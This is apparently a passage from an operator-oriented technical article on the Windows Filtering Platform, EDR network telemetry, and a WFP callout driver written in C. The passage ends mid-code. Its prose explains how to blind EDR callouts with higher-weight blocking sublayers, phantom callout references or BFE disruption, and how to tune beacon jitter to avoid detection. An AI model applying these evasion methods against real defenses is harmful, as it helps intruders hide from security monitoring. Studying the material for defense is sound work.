> For the complete documentation index, see [llms.txt](https://muaazs-organization-1.gitbook.io/exploiter-taz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://muaazs-organization-1.gitbook.io/exploiter-taz/windows-filtering-platform-edr-network-telemetry-and-offensive-callout-manipulation.md).

# Windows Filtering Platform, EDR Network Telemetry, and Offensive Callout Manipulation

### Table of Contents

1. Introduction
2. Before WFP: Why the Old Models Broke
   * 2.1 TDI — Process Context, Architectural Debt
   * 2.2 NDIS LWF — Raw Power, Zero Attribution
   * 2.3 The Fundamental Trade-off
3. WFP Architecture: An Operator's Map
   * 3.1 The Three Planes
   * 3.2 Shim Layers: Where Classification Happens
   * 3.3 The Filter Engine: Arbitration Logic
   * 3.4 BFE: The Policy Broker (Not the Enforcer)
   * 3.5 Layer Selection: Why ALE is the EDR's Preferred Battlefield
4. The Object Model: Providers, Sublayers, Filters, Callouts
   * 4.1 Providers — Identity Namespaces
   * 4.2 Sublayers and the Weight System
   * 4.3 Filters and Conditions
   * 4.4 Callouts — The Kernel Inspection Engine
   * 4.5 Filter Arbitration: Soft vs. Hard Actions
5. EDR Network Telemetry: What They Actually Collect
   * 5.1 Connection-Level Attribution
   * 5.2 Beacon Pattern Analysis
   * 5.3 DNS Process Correlation
   * 5.4 TLS Metadata Extraction (No Decryption Required)
   * 5.5 IoC Feed Matching in the Data Path
6. Building a WFP Callout Driver
   * 6.1 Design and Prerequisites
   * 6.2 The Registration Sequence
   * 6.3 classifyFn — Dissected
   * 6.4 notifyFn and flowDeleteFn
   * 6.5 Cleanup: The Non-Negotiable Part
   * 6.6 Full Driver Implementation
7. Offensive WFP Manipulation: Blinding the EDR
   * 7.1 Reconnaissance — Mapping the WFP State with WfpAtlas
   * 7.2 Technique 1: Adding Higher-Weight Blocking Filters (EDRSilencer Model)
   * 7.3 Technique 2: Filter Deletion via Management API
   * 7.4 Technique 3: Callout Unregistration
   * 7.5 Technique 4: Kernel-Level classifyFn Pointer Patching
   * 7.6 Technique 5: BFE Service Disruption
   * 7.7 Comparison Matrix
8. What Gets Logged: The Defender's View
9. Process Context Evasion: Working With WFP, Not Against It
10. Summary and Operator Checklist
11. References

***

### 1. Introduction

When an implant loses network access under EDR, the root cause is often lower in the stack than people expect. The Windows kernel can hand connection metadata to the EDR before the first SYN leaves the host.

That path runs through the Windows Filtering Platform, or WFP. If you work with Windows tradecraft, you need more than the usual shorthand that "EDRs use WFP." You need to know where classification happens, what the engine stores, what the callout sees, and what changes are actually possible.

This piece looks at WFP from both sides. It starts with the older interception models that WFP replaced. It then maps the WFP object model and the layers EDRs care about. The second half covers what defenders collect from WFP and what offensive manipulation options exist in practice.

**What this covers:**

* A working mental model of the WFP kernel architecture, from shim layers in `tcpip.sys` down to callout function pointers
* Clarity on exactly what data the EDR collects at each layer and why it picks the layers it does
* A complete, buildable WFP callout driver that monitors and selectively blocks connections
* A practical breakdown of five WFP manipulation techniques ranked by operational noise
* An understanding of where WfpAtlas fits in the pre-manipulation recon workflow and why it was built the way it was

This piece stays focused on network telemetry and network-level manipulation. It does not go deep on IPsec, stream injection, or every non-ALE layer. The goal is practical: understand how the EDR sees your traffic, then decide where intervention is realistic.

***

### 2. Before WFP: Why the Old Models Broke

#### 2.1 TDI — Process Context, Architectural Debt

The Transport Driver Interface was the Pre-Vista mechanism for kernel-level network interception. A TDI filter driver inserted itself as a middleman *above* `tcpip.sys` in the device stack and intercepted IRPs (I/O Request Packets) destined for `\Device\Tcp`, `\Device\Udp`, and `\Device\RawIp`.

The elegant part of TDI was **process correlation via the File Object**. In the Windows kernel object model, every open socket is a `FILE_OBJECT`. When a user-mode application calls `connect()`, the resulting IRP carries a pointer to that `FILE_OBJECT`, which is anchored to the process's handle table. A TDI driver could walk:

```
IRP → current stack location → FILE_OBJECT → handle table → EPROCESS → PID
```

This gave TDI drivers a deterministic answer to "who opened this socket?" At the moment of `IRP_MJ_INTERNAL_DEVICE_CONTROL` hitting your filter, you could read the current process context and extract:

* **PID** and **EPROCESS** pointer
* **Operation type** (connect, send, receive, close)
* **Destination** IP and port

**Why TDI failed:** Filter ordering was entirely undefined. Multiple TDI drivers would race to hook the same device objects with no arbitration. Two security products could install conflicting filters with no coordination mechanism. There was no documented, stable API — drivers relied on undocumented IRP internals that Microsoft could change at any kernel revision. Microsoft deprecated TDI in Windows Vista and removed it from Windows 8.

#### 2.2 NDIS LWF - Raw Power, Zero Attribution

NDIS Lightweight Filter (LWF) drivers operate far below `tcpip.sys`, between the protocol driver and the NIC miniport. At this position, the driver sees raw Ethernet frames — every byte on the wire.

The fatal problem: **zero process context.** By the time data reaches the NDIS layer, `tcpip.sys` has already encapsulated it. There is no `FILE_OBJECT`, no IRP with a process pointer, no handle table reference. You see:

```
FF 11 22 33 44 55 00 11 22 33 44 66 08 00 ...  ← Ethernet header
45 00 00 3C 1C 46 40 00 40 06 ...              ← IP header
C0 A8 01 64 5D DC 65 2D 00 50 ...              ← TCP header
```

To determine which process sent this packet, you would need to maintain a **parallel state machine** — tracking TCP handshakes, correlating 4-tuples to sockets, and inferring process ownership. This is computationally expensive, racey, and still unreliable (the process might have exited between the state machine update and your query).

NDIS LWF remains the correct tool for raw packet capture (Wireshark's underlying mechanism), VLAN tagging, and stateless IDS. For **process-correlated** network monitoring, it is architecturally wrong.

![](/files/CgrSBKQFLq4JLUh8Rnbv)

#### 2.3 The Fundamental Trade-off

| Property         | TDI                     | NDIS LWF          | WFP                          |
| ---------------- | ----------------------- | ----------------- | ---------------------------- |
| Stack position   | Above `tcpip.sys`       | Below `tcpip.sys` | Inside `tcpip.sys`           |
| Process context  | Yes (via `FILE_OBJECT`) | No                | Yes (built-in at ALE layers) |
| Data granularity | Socket operations       | Raw frames        | Structured, layer-dependent  |
| Filter ordering  | Undefined               | N/A               | Defined (sublayer weights)   |
| API stability    | Undocumented            | Documented        | Fully documented             |
| Status           | Deprecated              | Still used        | Modern standard              |

WFP's key innovation: it baked inspection points directly into `tcpip.sys` as **shim layers**, eliminating the need to insert a middleman driver. The process context that TDI extracted laboriously from IRPs is now provided automatically by the engine at the ALE layers.

***

### 3. WFP Architecture: An Operator's Map

#### 3.1 The Three Planes

![](/files/9vOSgQpJLWz08pxKbs56)

WFP makes more sense if you separate it into three planes:

#### 3.2 Shim Layers: Where Classification Happens

A **shim** is a small code stub Microsoft embedded inside `tcpip.sys` at strategic processing points. When data arrives at a shim, the shim:

1. Pauses the data momentarily
2. Assembles a classification context (IP addresses, ports, FILE\_OBJECT pointer → PID)
3. Calls into `fwpkclnt.sys` with that context
4. Receives a verdict: **permit** or **block**
5. Resumes or drops the data

A shim is not a decision-maker — it is an informant. The decision belongs to the Filter Engine, which evaluates registered filters and callouts and returns the verdict.

The critical insight about shim placement: they are at **socket-event boundaries**, not packet boundaries. `ALE_AUTH_CONNECT_V4` fires once when `connect()` is called, not once per packet. This is why it has access to the `FILE_OBJECT` (and therefore the PID) — it is intercepting an operation, not a packet.

#### 3.3 The Filter Engine: Arbitration Logic

The kernel Filter Engine (`fwpkclnt.sys`) is the arbitration brain. For each network event, it:

1. Identifies which shim layer triggered the event
2. Retrieves all filters registered at that layer from its in-memory table (synchronized from BFE)
3. Sorts filters by sublayer weight (highest first), then by filter weight within each sublayer
4. Evaluates each filter's conditions against the incoming context
5. If conditions match, executes the filter's action (PERMIT, BLOCK, or invoke CALLOUT)
6. Aggregates sublayer verdicts into a final decision

The engine's in-memory filter table is a projection of BFE's policy store. BFE pushes updates down to the engine via IOCTL. This means the engine operates entirely from memory — it does not consult BFE at classification time. BFE's availability (or lack thereof) does not affect packet classification.

#### 3.4 BFE: The Policy Broker (Not the Enforcer)

This distinction is critical for offensive operations.

BFE (`bfe.dll` in a `svchost.exe` instance, listening on an RPC endpoint) owns the persistent representation of all WFP objects. It is the policy store, not the enforcement engine.

**BFE is not in the data path.** Traffic does not flow through BFE. When you make `FwpmFilterAdd()` calls, you are calling BFE's RPC endpoint, which validates your filter, stores it persistently, and pushes it down to the kernel engine via IOCTL. After that, the kernel engine operates independently of BFE.

**Offensive implication:** Killing BFE does not immediately blind EDR callouts. Filters and callouts already loaded in the kernel engine keep running. What stops is policy management. No new updates go in, and your own changes cannot go in either.

#### 3.5 Layer Selection: Why ALE is the EDR's Preferred Battlefield

Each layer exposes a different set of fields. Here is what is available at each relevant layer:

![](/files/EkQYVLq0Nmk9sAx2eFiM)

The ALE (Application Layer Enforcement) layers are the **only layers where both PID and full application path are guaranteed available simultaneously**. Every EDR callout that does process-correlated network monitoring registers at `ALE_AUTH_CONNECT_V4` at minimum.

***

### 4. The Object Model: Providers, Sublayers, Filters, Callouts

![](/files/4UFDgxexZ24xjOekicXK)

#### 4.1 Providers - Identity Namespaces

A **Provider** (`FWPM_PROVIDER`) is an identity object. It acts as a namespace, grouping an EDR's filters and callouts under a single owner GUID. When an EDR registers its WFP presence, it calls `FwpmProviderAdd()` with a unique GUID and a display name — typically something like `"CrowdStrike WFP Provider"` or `"SentinelOne Network Monitor"`.

Every filter and callout then references this provider GUID in its `providerKey` field.

**Offensive relevance:** Once you have the provider GUID, you can enumerate that product's WFP objects in one scope. `FwpmCalloutEnum` and `FwpmFilterEnum` both support templates filtered by `providerKey`. That gives you a clean map before you touch anything.

A provider can optionally be bound to a Windows service name. When bound, WFP ensures the service is running whenever any filter references that provider. This is a tamper-resistance feature: if an attacker kills the EDR service, WFP may attempt to restart it. Some EDR implementations do not bind their provider to a service, making them slightly more vulnerable to service-kill attacks.

#### 4.2 Sublayers and the Weight System

Within each layer, filters are organized into **sublayers**. A sublayer has a 16-bit weight (0–65535). Sublayers with higher weights are evaluated before those with lower weights. The Filter Engine traverses sublayers from highest to lowest weight.

Within a sublayer, individual filter weights determine evaluation order.

**Filter weight encoding:**

```
Weight = FWP_EMPTY           → Engine assigns effective weight automatically
0 ≤ Weight ≤ 15              → EffectiveWeight[63:60] = Weight (rest auto-assigned)
Weight > 15 (raw UINT64)     → EffectiveWeight = Weight as-is
```

The WFP default sublayer has weight zero — the lowest possible. Any custom sublayer you register with weight > 0 will be evaluated before the default sublayer. This is the mechanism EDRSilencer-style attacks exploit: you register a sublayer with a *higher* weight than the EDR's sublayer, then add a BLOCK filter in it. Your filter runs first, the packet is dropped, and the EDR's callout never fires.

**Final verdict rule:** The engine collects one verdict per sublayer. The final packet verdict is the AND of all sublayer verdicts — a single BLOCK from any sublayer blocks the packet regardless of what higher-weight sublayers decided. This is configurable via the `FWPS_RIGHT_ACTION_WRITE` flag system.

#### 4.3 Filters and Conditions

A **Filter** (`FWPM_FILTER`) is a rule that attaches to a specific layer and triggers an action when its conditions are satisfied.

```c
typedef struct FWPM_FILTER_ {
    GUID                      filterKey;         // Unique GUID (GUID_NULL = auto-generate)
    FWPM_DISPLAY_DATA         displayData;       // Name and description
    GUID                      layerKey;          // Which layer to attach to
    GUID                      subLayerKey;       // Which sublayer to place in
    FWP_VALUE                 weight;            // Priority within the sublayer
    UINT32                    numFilterConditions;
    FWPM_FILTER_CONDITION    *filterCondition;   // Array of match conditions
    FWPM_ACTION               action;            // What to do on match
    UINT64                    filterId;          // Set by WFP after successful add
} FWPM_FILTER;
```

A filter with zero conditions matches every event at its layer. Conditions use match types from `FWP_MATCH_TYPE`:

```c
// Examples of useful match types:
FWP_MATCH_EQUAL             // Exact match
FWP_MATCH_NOT_EQUAL         // Negation
FWP_MATCH_GREATER           // Numeric comparison
FWP_MATCH_RANGE             // IP address ranges
FWP_MATCH_FLAGS_ALL_SET     // Bitmask: all specified bits must be set
FWP_MATCH_FLAGS_ANY_SET     // Bitmask: any specified bit must be set
```

The most useful condition fields for offensive filtering:

* `FWPM_CONDITION_ALE_APP_ID` — match by executable NT path (the exact field EDRs use for attribution)
* `FWPM_CONDITION_IP_REMOTE_ADDRESS` — match by destination IP
* `FWPM_CONDITION_IP_REMOTE_PORT` — match by destination port
* `FWPM_CONDITION_IP_PROTOCOL` — TCP vs UDP

#### 4.4 Callouts — The Kernel Inspection Engine

A **Callout** is a kernel driver that registers three callback functions and associates them with a WFP layer. A filter whose action is `FWP_ACTION_CALLOUT_*` invokes the callout's `classifyFn` for every matching event.

```c
typedef struct FWPS_CALLOUT_ {
    GUID                               calloutKey;
    UINT32                             flags;
    FWPS_CALLOUT_CLASSIFY_FN           classifyFn;    // Main callback
    FWPS_CALLOUT_NOTIFY_FN             notifyFn;      // Filter add/remove
    FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN flowDeleteFn;  // Connection teardown
} FWPS_CALLOUT;
```

A callout has two registrations that must both be present:

* **Kernel registration** (`FwpsCalloutRegister`): Provides function pointers to the engine. Gets a runtime `calloutId` (a `UINT32`) that can be used for unregistration.
* **Management registration** (`FwpmCalloutAdd`): Associates the callout with a layer and a provider in BFE's object store.

**A critical operational fact:** If the management registration exists (the callout is in BFE's database) but the kernel registration does not (the driver is not loaded or the callout was unregistered), **the filter engine treats that callout as a BLOCK action**. Filters referencing an unregistered callout will block all matching traffic. This can be weaponized: injecting a management-layer callout reference without loading the actual driver creates a phantom blocker.

#### 4.5 Filter Arbitration: Soft vs. Hard Actions

The arbitration algorithm maintains a current action and a `FWPS_RIGHT_ACTION_WRITE` flag. Actions can override each other based on whether they are "soft" or "hard":

| Action         | Behavior    | Can Be Overridden?                    |
| -------------- | ----------- | ------------------------------------- |
| Filter PERMIT  | Soft permit | Yes, by lower-weight sublayer BLOCK   |
| Filter BLOCK   | Hard block  | No (only by Veto from a callout)      |
| Callout PERMIT | Soft permit | Yes                                   |
| Callout BLOCK  | Soft block  | Yes, by higher-weight sublayer PERMIT |

A **Veto** occurs when a callout returns BLOCK after `FWPS_RIGHT_ACTION_WRITE` was already cleared by a higher-priority filter. Vetoes generate audit events and notifications.

***

### 5. EDR Network Telemetry: What They Actually Collect

![](/files/wOBvaKqTPsFA6VC9Fsry)

#### 5.1 Connection-Level Attribution

At `FWPM_LAYER_ALE_AUTH_CONNECT_V4`, the EDR's `classifyFn` receives a fully attributed connection event. For every `connect()` your implant makes:

![](/files/Jil7RFDnRa3zrMgOjsYq)

This happens before any SYN packet leaves the machine. The EDR has your full identity at the kernel level before the TCP handshake begins.

The telemetry event that goes to the EDR's user-mode service (and subsequently to the cloud) looks something like:

```json
{
  "event_type": "network_connect",
  "pid": 4812,
  "process_path": "\\device\\harddiskvolume3\\users\\attacker\\implant.exe",
  "process_hash_sha256": "abcdef...",
  "local_addr": "10.0.0.100",
  "local_port": 52341,
  "remote_addr": "185.220.101.45",
  "remote_port": 443,
  "protocol": "TCP",
  "timestamp": "2026-06-21T14:23:11.432Z",
  "process_signed": false,
  "process_reputation": "unknown"
}
```

#### 5.2 Beacon Pattern Analysis

Individual connection events are not enough to flag C2 — lots of legitimate processes make periodic outbound connections. EDRs analyze sequences over time.

**Periodicity detection:** The EDR stores connection timestamps per process per remote endpoint. Autocorrelation of the time-delta sequence reveals repeating intervals. A beacon that fires every 60 seconds produces a strong spike at lag=60 in the autocorrelation. Cobalt Strike's default sleep with no jitter is trivially detected this way.

**Jitter resistance:** With 50% jitter, the beacon fires in a window of \[30s, 90s]. Modern statistical models can still identify the underlying period through long-observation analysis. You need either very high jitter (>70%, which makes the beacon operationally unreliable) or non-uniform jitter distributions that deliberately break autocorrelation patterns.

**Packet size consistency:** A process sending identically-sized packets at regular intervals is suspicious even with timestamp jitter. EDRs correlate byte counts from `FWPM_LAYER_STREAM_V4` with timing data from `ALE_AUTH_CONNECT_V4`.

#### 5.3 DNS Process Correlation

At `FWPM_LAYER_DATAGRAM_DATA_V4` with a condition on remote port 53, the EDR intercepts DNS queries. The callout extracts:

* PID of the resolving process
* DNS query name
* DNS record type

This means even if you use domain fronting or CDN-hosted C2 infrastructure, the DNS resolution event for the front domain is logged and attributed to your implant's process. The EDR sees `implant.exe → resolved 'cdn.legitimate-domain.com' → actual backend via CNAME` and can correlate this with subsequent connections to the same resolved IP.

#### 5.4 TLS Metadata Extraction (No Decryption Required)

At `FWPM_LAYER_STREAM_V4`, the EDR has access to raw TCP stream bytes. During a TLS handshake, the following fields are transmitted in cleartext (by TLS design):

**Client Hello (cleartext):**

* `SNI (Server Name Indication)` - the target hostname the client is connecting to
* Cipher suite list
* TLS extensions list
* Supported groups (elliptic curves)
* Supported signature algorithms

The **JA3 fingerprint** is an MD5 hash of: `TLS_Version,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats`. Cobalt Strike, Sliver, Metasploit, and Havoc each have documented default JA3 values. EDRs maintain and query these fingerprints.

**Server Hello (cleartext):**

* Selected cipher suite
* Server certificate (DER-encoded, readable without decryption)
* Certificate chain including issuer, subject, serial number, validity dates

The **JA3S fingerprint** covers the server's response parameters.

**What this means operationally:** The EDR knows the domain you connected to (via SNI), the TLS client library you used (via JA3), and the certificate served (potentially flagged if it is a known C2 certificate or self-signed). None of this requires intercepting your symmetric session traffic.

#### 5.5 IoC Feed Matching in the Data Path

EDRs maintain in-memory hash tables of malicious IPs, certificate hashes, and JA3 fingerprints. These tables are consulted directly inside `classifyFn`.

For IP-based IoC matching, a hash table lookup at `PASSIVE_LEVEL` or `DISPATCH_LEVEL` (depending on the layer) is cheap enough to run synchronously. The callout can BLOCK the connection immediately if there is a hit.

For certificate or domain lookups that require more compute, the callout defers to user mode via an asynchronous pending completion pattern. The filter is set to `FWP_ACTION_CALLOUT_TERMINATING` and the callout pends the classification using `FwpsPendClassify()`, dispatches the check to a work item, and completes the classification from the work item callback.

***

### 6. Building a WFP Callout Driver

#### 6.1 Design and Prerequisites

We are building `WfpMonitor.sys` — a kernel driver that:

* Registers callouts at `ALE_AUTH_CONNECT_V4` and `ALE_AUTH_RECV_ACCEPT_V4`
* Extracts and logs PID, application path, and remote endpoint on every connection
* Demonstrates blocking by dropping connections to a configurable IP range
* Has proper cleanup to avoid BSOD on reload

**Build environment:**

* Windows Driver Kit (WDK) 10, Visual Studio 2019+
* Test VM with kernel debugging: `bcdedit /set debug on`, `bcdedit /set testsigning on`
* WinDbg or WinDbg Preview for kernel debugging

**Libraries:** Link against `fwpkclnt.lib` and `uuid.lib`.

#### 6.2 The Registration Sequence

Order matters. Register kernel callbacks before opening the engine. Add filters last. Cleanup happens in exact reverse order.

![](/files/tpWsX4ivUHJHcEx9Pvkg)

* Cleanup

![](/files/A9r5ZGLKanuPjCnUgdDO)

Transactions are not optional. Without a transaction, a partial failure (e.g., `FwpmFilterAdd` succeeds but the driver fails to load) leaves orphaned WFP objects in BFE's database that survive reboots. These ghost objects can block traffic (if they reference an unregistered callout) and are painful to clean up manually.

#### 6.3 classifyFn - Dissected

This function runs in the kernel for every matching network event. It needs to be fast because it sits in the data path. Avoid blocking calls, paging, and unnecessary allocation.

```c
VOID NTAPI
ClassifyFn(
    const FWPS_INCOMING_VALUES          *inFixedValues,
    const FWPS_INCOMING_METADATA_VALUES *inMetaValues,
    VOID                                *layerData,
    const VOID                          *classifyContext,
    const FWPS_FILTER                   *filter,
    UINT64                               flowContext,
    FWPS_CLASSIFY_OUT                   *classifyOut)
{
    //
    // First check: are we allowed to write the action?
    // If a higher-priority filter already set a hard action, we should respect it.
    //
    if (!(classifyOut->rights & FWPS_RIGHT_ACTION_WRITE))
        return;

    //
    // Extract network metadata from inFixedValues.
    // Field indices are layer-specific constants. Wrong index = wrong data.
    //
    UINT32 remoteIp   = inFixedValues->incomingValue[
        FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_REMOTE_ADDRESS].value.uint32;
    UINT16 remotePort = inFixedValues->incomingValue[
        FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_REMOTE_PORT].value.uint16;
    UINT32 localIp    = inFixedValues->incomingValue[
        FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_LOCAL_ADDRESS].value.uint32;
    UINT16 localPort  = inFixedValues->incomingValue[
        FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_LOCAL_PORT].value.uint16;
    UINT8  protocol   = inFixedValues->incomingValue[
        FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_PROTOCOL].value.uint8;

    //
    // PID is in inMetaValues — always check the validity bitmask before reading.
    // At ALE layers, FWPS_METADATA_FIELD_PROCESS_ID is reliably set.
    //
    UINT64 pid = 0;
    if (inMetaValues->currentMetadataValues & FWPS_METADATA_FIELD_PROCESS_ID) {
        pid = inMetaValues->processId;
    }

    //
    // Application path: this is a FWP_BYTE_BLOB containing a wide-char NT device path.
    // Format: \device\harddiskvolume3\path\to\executable.exe
    // This is the ALE_APP_ID — the primary attribution field.
    //
    FWP_BYTE_BLOB *appId = inFixedValues->incomingValue[
        FWPS_FIELD_ALE_AUTH_CONNECT_V4_ALE_APP_ID].value.byteBlob;

    //
    // Network byte order for IP addresses from WFP is big-endian.
    // Ports are also in network byte order — use RtlUshortByteSwap() to convert.
    //
    DbgPrint("[WfpMonitor] CONNECT pid=%-6llu proto=%u "
             "%u.%u.%u.%u:%-5u -> %u.%u.%u.%u:%-5u app=%ws\n",
        pid, protocol,
        (localIp >> 24) & 0xFF, (localIp >> 16) & 0xFF,
        (localIp >> 8)  & 0xFF, localIp & 0xFF,
        RtlUshortByteSwap(localPort),
        (remoteIp >> 24) & 0xFF, (remoteIp >> 16) & 0xFF,
        (remoteIp >> 8)  & 0xFF, remoteIp & 0xFF,
        RtlUshortByteSwap(remotePort),
        (appId && appId->data) ? (WCHAR*)appId->data : L"<unknown>");

    //
    // Blocking logic: drop all connections to 192.168.100.0/24
    //
    UINT32 blockNetwork = 0xC0A86400;   // 192.168.100.0
    UINT32 blockMask    = 0xFFFFFF00;

    if ((remoteIp & blockMask) == (blockNetwork & blockMask)) {
        classifyOut->actionType = FWP_ACTION_BLOCK;
        //
        // Clearing FWPS_RIGHT_ACTION_WRITE prevents lower-weight sublayers
        // from overriding our BLOCK decision.
        //
        classifyOut->rights &= ~FWPS_RIGHT_ACTION_WRITE;
        return;
    }

    //
    // For inspection-only callouts, return CONTINUE to defer to lower sublayers.
    // FWP_ACTION_PERMIT would hard-permit, blocking lower sublayers from deciding.
    //
    classifyOut->actionType = FWP_ACTION_CONTINUE;
}
```

**Key correctness notes:**

* Always check `FWPS_RIGHT_ACTION_WRITE` before setting any action.
* `FWP_ACTION_CONTINUE` is only valid when the filter action type is `FWP_ACTION_CALLOUT_UNKNOWN`. If you registered as `FWP_ACTION_CALLOUT_TERMINATING`, you must return either PERMIT or BLOCK.
* IP bytes in `inFixedValues` are in host byte order for IPv4 addresses but **network byte order for ports**. This is inconsistent and a common bug source.
* `DbgPrint` is not safe at DISPATCH\_LEVEL. Wrap it or use `DbgPrintEx` with appropriate level guards if your callout fires at elevated IRQL.

#### 6.4 notifyFn and flowDeleteFn

```c
//
// notifyFn: called when a filter referencing this callout is added or removed.
// Primary use: reference counting for cleanup safety.
//
NTSTATUS NTAPI
NotifyFn(
    FWPS_CALLOUT_NOTIFY_TYPE  notifyType,
    const GUID               *filterKey,
    FWPS_FILTER              *filter)
{
    UNREFERENCED_PARAMETER(filterKey);
    UNREFERENCED_PARAMETER(filter);

    if (notifyType == FWPS_CALLOUT_NOTIFY_ADD_FILTER) {
        InterlockedIncrement(&g_ActiveFilterCount);
    } else if (notifyType == FWPS_CALLOUT_NOTIFY_DELETE_FILTER) {
        InterlockedDecrement(&g_ActiveFilterCount);
    }
    return STATUS_SUCCESS;
}

//
// flowDeleteFn: called when a tracked flow (connection) terminates.
// Required if your classifyFn calls FwpsFlowAssociateContext() to attach
// per-flow state. Must free that state here to prevent kernel pool leaks.
//
VOID NTAPI
FlowDeleteFn(
    UINT16 layerId,
    UINT32 calloutId,
    UINT64 flowContext)
{
    UNREFERENCED_PARAMETER(layerId);
    UNREFERENCED_PARAMETER(calloutId);

    if (flowContext != 0) {
        // Free the per-flow context we allocated in classifyFn
        ExFreePoolWithTag((PVOID)(ULONG_PTR)flowContext, 'WFPM');
    }
}
```

#### 6.5 Cleanup: The Non-Negotiable Part

If you do not clean up all WFP objects in `DriverUnload`, the system will bugcheck on driver reload. The kernel cannot re-register a callout GUID that is still registered. Worse, orphaned filters that reference a now-dead callout will silently drop all matching traffic.

Cleanup order is the inverse of registration order:

```c
VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNREFERENCED_PARAMETER(DriverObject);

    // 1. Remove filters first (they reference callouts and sublayers)
    if (g_State.FilterId != 0) {
        FwpmFilterDeleteById(g_State.EngineHandle, g_State.FilterId);
        g_State.FilterId = 0;
    }

    // 2. Remove callout from management layer
    if (g_State.MgmtCalloutId != 0) {
        FwpmCalloutDeleteById(g_State.EngineHandle, g_State.MgmtCalloutId);
        g_State.MgmtCalloutId = 0;
    }

    // 3. Remove sublayer
    FwpmSubLayerDeleteByKey(g_State.EngineHandle, &WFPMONITOR_SUBLAYER_GUID);

    // 4. Close engine handle
    if (g_State.EngineHandle) {
        FwpmEngineClose(g_State.EngineHandle);
        g_State.EngineHandle = NULL;
    }

    // 5. Unregister kernel callout LAST
    //    Must be done after all filters referencing it are removed.
    //    Cannot unregister while classifyFn might still be executing.
    //    FwpsCalloutUnregisterById will return STATUS_DEVICE_BUSY if callbacks
    //    are currently executing — you may need to retry or use a completion event.
    if (g_State.KernelCalloutId != 0) {
        NTSTATUS status;
        do {
            status = FwpsCalloutUnregisterById(g_State.KernelCalloutId);
            if (status == STATUS_DEVICE_BUSY)
                KeStallExecutionProcessor(100); // spin briefly
        } while (status == STATUS_DEVICE_BUSY);
        g_State.KernelCalloutId = 0;
    }

    // 6. Delete device object
    if (g_State.DeviceObject) {
        IoDeleteDevice(g_State.DeviceObject);
        g_State.DeviceObject = NULL;
    }
}
```

The `STATUS_DEVICE_BUSY` retry loop on `FwpsCalloutUnregisterById` is necessary because `classifyFn` may still be executing on another processor when `DriverUnload` is called. The kernel will return `STATUS_DEVICE_BUSY` until all in-flight callouts complete. Failing to handle this correctly causes a use-after-free when the executing `classifyFn` returns into unmapped driver memory.

#### 6.6 Full Driver Implementation

```c
// WfpMonitor.c
// WDK kernel-mode WFP callout driver for connection monitoring and blocking.
// Requires: fwpkclnt.lib, uuid.lib, ntoskrnl.lib

#include <ntddk.h>
#include <wdm.h>
#include <fwpsk.h>
#include <fwpmk.h>

#pragma comment(lib, "fwpkclnt.lib")
#pragma comment(lib, "uuid.lib")

#define POOL_TAG 'WFPM'
#define BLOCK_NETWORK  0xC0A86400UL  // 192.168.100.0
#define BLOCK_MASK     0xFFFFFF00UL

// Generate these with guidgen.exe or uuidgen in production
DEFINE_GUID(WFPMON_CALLOUT_CONNECT_V4,
    0x11111111, 0x0001, 0x0001, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x01);
DEFINE_GUID(WFPMON_CALLOUT_ACCEPT_V4,
    0x11111111, 0x0001, 0x0001, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x02);
DEFINE_GUID(WFPMON_SUBLAYER,
    0x11111111, 0x0001, 0x0001, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x03);

typedef struct _WFPMON_STATE {
    PDEVICE_OBJECT DeviceObject;
    HANDLE         EngineHandle;
    UINT32         ConnectCalloutKernelId;
    UINT32         AcceptCalloutKernelId;
    UINT32         ConnectCalloutMgmtId;
    UINT32         AcceptCalloutMgmtId;
    UINT64         ConnectFilterId;
    UINT64         AcceptFilterId;
    LONG           ActiveFilterCount;
} WFPMON_STATE;

static WFPMON_STATE g_State;

// ─── Internal logging helper ──────────────────────────────────────────────────

static VOID
LogConnection(
    _In_ PCSTR direction,
    _In_ UINT64 pid,
    _In_ UINT8  proto,
    _In_ UINT32 localIp,  _In_ UINT16 localPort,
    _In_ UINT32 remoteIp, _In_ UINT16 remotePort,
    _In_opt_ FWP_BYTE_BLOB *appId)
{
    DbgPrint("[WfpMonitor] %s pid=%-6llu proto=%u "
             "%u.%u.%u.%u:%-5u -> %u.%u.%u.%u:%-5u app=%ws\n",
        direction, pid, proto,
        (localIp  >> 24) & 0xFF, (localIp  >> 16) & 0xFF,
        (localIp  >>  8) & 0xFF,  localIp  & 0xFF,
        RtlUshortByteSwap(localPort),
        (remoteIp >> 24) & 0xFF, (remoteIp >> 16) & 0xFF,
        (remoteIp >>  8) & 0xFF,  remoteIp & 0xFF,
        RtlUshortByteSwap(remotePort),
        (appId && appId->size > 0) ? (WCHAR*)appId->data : L"<unknown>");
}

// ─── ALE_AUTH_CONNECT_V4 classifyFn ──────────────────────────────────────────

VOID NTAPI
ClassifyConnect(
    const FWPS_INCOMING_VALUES          *inFixedValues,
    const FWPS_INCOMING_METADATA_VALUES *inMetaValues,
    VOID                                *layerData,
    const VOID                          *classifyContext,
    const FWPS_FILTER                   *filter,
    UINT64                               flowContext,
    FWPS_CLASSIFY_OUT                   *classifyOut)
{
    UNREFERENCED_PARAMETER(layerData);
    UNREFERENCED_PARAMETER(classifyContext);
    UNREFERENCED_PARAMETER(filter);
    UNREFERENCED_PARAMETER(flowContext);

    if (!(classifyOut->rights & FWPS_RIGHT_ACTION_WRITE))
        return;

#define FV(x) inFixedValues->incomingValue[x].value
    UINT32 remoteIp   = FV(FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_REMOTE_ADDRESS).uint32;
    UINT16 remotePort = FV(FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_REMOTE_PORT).uint16;
    UINT32 localIp    = FV(FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_LOCAL_ADDRESS).uint32;
    UINT16 localPort  = FV(FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_LOCAL_PORT).uint16;
    UINT8  protocol   = FV(FWPS_FIELD_ALE_AUTH_CONNECT_V4_IP_PROTOCOL).uint8;
